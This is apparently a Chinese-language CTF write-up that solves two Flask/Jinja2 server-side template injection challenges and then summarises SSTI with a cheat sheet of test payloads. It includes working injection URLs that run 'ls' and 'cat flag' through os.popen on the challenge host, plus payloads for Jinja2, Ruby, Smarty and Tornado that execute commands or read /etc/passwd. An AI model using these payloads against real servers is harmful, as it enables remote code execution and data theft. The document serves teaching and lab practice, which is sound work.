Simple_SSTI_1
题目描述
没有描述,题目描述与题目名称一致。
解决过程
首先进入环境,发现仅有一句话:
F12查看元素,发现一具友好的注释
1 | <!-- You know, in the flask, We often set a secret_key variable.--> |
简单的模板注入。
结合两处信息,提交flag:
即可得到flag{f55da1a9d9333c39872e420b76d7e3f2}
Simple_SSTI_2
题目描述
没有描述,题目描述与题目名称一致。
解决过程
进入环境,页面显示与Simple_SSTI_1一致,但网页元素却有了区别
1 |
|
这道题没有任何提示,尝试使用Simple_SSTI_1的解法,构建http114.67.175.22415921flag={{config}}
,返回如下所示:
1 | <Config {'ENV': 'production', 'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}> |
并没有特殊之处。
构建http://114.67.175.224:15921/?flag={{13}}
得到返回 13
,并且想到题目说SSTI漏洞,可以考虑构建命令注入查看文件:
1 | http://114.67.175.224:15921/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}} |
返回了
看到了flag,更换命令重新注入
http://114.67.175.224:15921/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag%27).read()}}
得到flag{69f88b1ab5884cd258662ac7a3fe02d8}
总结
什么是SSTI
SSTI (Server-Side Template Injection),即模板注入。
模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。
常见的测试用例 (转自Web安全学习笔记)
简单数学表达式
{{ 1+1 }}
字符串表达式
{{'test'}}
Flask Jinja2(本题为Jinja2)
{{ config }}
{{ config.items() }}
{{get_flashed_messages.__globals__['current_app'].config}}
{{''.__class__.__mro__[-1].__subclasses__()}}
{{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
{{ request.__init__.__globals__['__builtins__'].open('etcpasswd').read() }}
Django
{{ request }}
{% debug %}
{% load module %}
{% include x.html %}
{% extends x.html %}
Ruby
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
Java
${77}
Twig
{{77}}
Smarty
{php}echo `id`;{php}
AngularJS
$eval('1+1')
Tornado
- 引用模块
{% import module %}
- =
{% import os %}{{ os.popen(whoami).read() }}
- 引用模块
__class__
和__name__
实例对象调用__class__
时会指向该实例的类,__name__
可用来获取类名。
1 | >>> class TEST(): |